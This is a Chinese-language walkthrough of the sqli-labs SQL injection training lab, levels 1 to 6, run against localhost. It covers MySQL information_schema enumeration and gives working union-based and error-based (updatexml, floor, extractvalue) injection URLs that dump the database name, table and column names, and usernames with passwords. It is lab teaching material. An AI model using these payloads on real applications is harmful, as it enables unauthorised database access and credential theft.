在练习靶场前我们需要了解以下mysql数据库结构,了解这些对于我们之后去查询数据有很大帮助。我们前面机关讲解比较详细后面就比较简单了。mysql数据库5.0以上版本有一个自带的数据库叫做information_schema,该数据库下面有两个表一个是tables和columns。
第一关讲解比较细,方便大家理解,后面就大同小异le
名字 |
作用 |
information_schema |
存放数据库元数据:库名、表名等 |
information_schema.tables |
该数据库下的tables表 |
table_name |
所有数据库存在的表名 |
table_schema |
所有表名对应数据库的名字 |
column_name |
列的名称 |
通关步骤:库→表→列→数据
第1关
1. 爆数据库名
1.1 漏洞挖掘
类型 |
注入方式 |
|
有回显,用联合注入 |
|
有报错,用报错注入 |
|
有布尔,用布尔盲注 |
|
有延时,用延时注入 |
注意:应该考虑按类型顺序来,因为对应的注入方式难度也是从易到难
1.2 输入不同id,观察页面是否有变化
有变化则说明有回显,存在漏洞
1.3 判断sql语句是否是拼接,且是字符型还是数字型。
根据结果指定是字符型,单引号闭合且存在sql注入漏洞
1.4 用order by查询表格列数
首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。
所以得出列数是3
1.5 采用联合查询,爆出回显
注意:1. 将id置为-1,目的是让前面语句为假,只执行后面的语句
2. 通过页面可以看出回显位为2, 3
1.6 获取当前数据库
2. 爆表名
http://localhost/sqli_labs/Less-1/?id=-1'UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。也就是下面表格user和passwd。
3. 爆列名
我们通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容
http://localhost/sqli_labs/Less-1/?id=-1'UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
注意:table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名。
4. 爆数据(账密)
http://localhost/sqli_labs/Less-1/?id=-1'UNION SELECT 1,2,group_concat(username,password) from users --+
第2关
页面显示:有回显
类型:数字型,不用考虑闭合
注入方式:联合注入
http://localhost/sqli_labs/Less-2/?id=-1 UNION SELECT 1,2,group_concat(username,password) from users --+
后面的关卡与第一关都大同小异,步骤几乎一样,你只需要注意是字符型还是数字型、闭合方式、以及页面显示
- 3没有出现在报错信息中,说明是数字型注入
- 数字型注入,id=3后面不需要加'
第3关
页面显示:有回显
类型:字符型,闭合方式 ')
注入方式:联合注入
http://localhost/sqli_labs/Less-3/?id=-1') UNION SELECT 1,2,group_concat(username,password) from users --+
第4关
页面显示:有回显
类型:字符型,闭合方式 ")
注入方式:联合注入
http://localhost/sqli_labs/Less-4/?id=-1") UNION SELECT 1,2,group_concat(username,password) from users --+
第5关
页面显示:无回显,但是有报错
类型:字符型,闭合方式 '
注入方式:报错注入
报错注入的概念:
(1). 通过floor报错 and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a) 其中payload为你要插入的SQL语句 需要注意的是该语句将 输出字符长度限制为64个字符
(2). 通过updatexml报错: and updatexml(1, payload,1)(比较简单,首先考虑)
同样该语句对输出的字符长度也做了限制,其最长输出32位,并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效
(3). 通过extractValue报错 and extractvalue(1, payload) 输出字符有长度限制,最长32位
5.1 爆数据库名
http://localhost/sqli_labs/Less-5/?id=1' union select updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
5.2 爆表名
http://localhost/sqli_labs/Less-5/?id=1' union select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' limit 0,1),0x7e),1) --+
5.3 爆用户名
http://localhost/sqli_labs/Less-5/?id=1' union select updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) --+
5.4 爆密码
http://localhost/sqli_labs/Less-5/?id=1' union select updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) --+
第6关
页面显示:无回显,但是有报错
类型:字符型,闭合方式 "
注入方式:报错注入
前面步骤省略,直接爆密码,只需要将闭合方式一改就行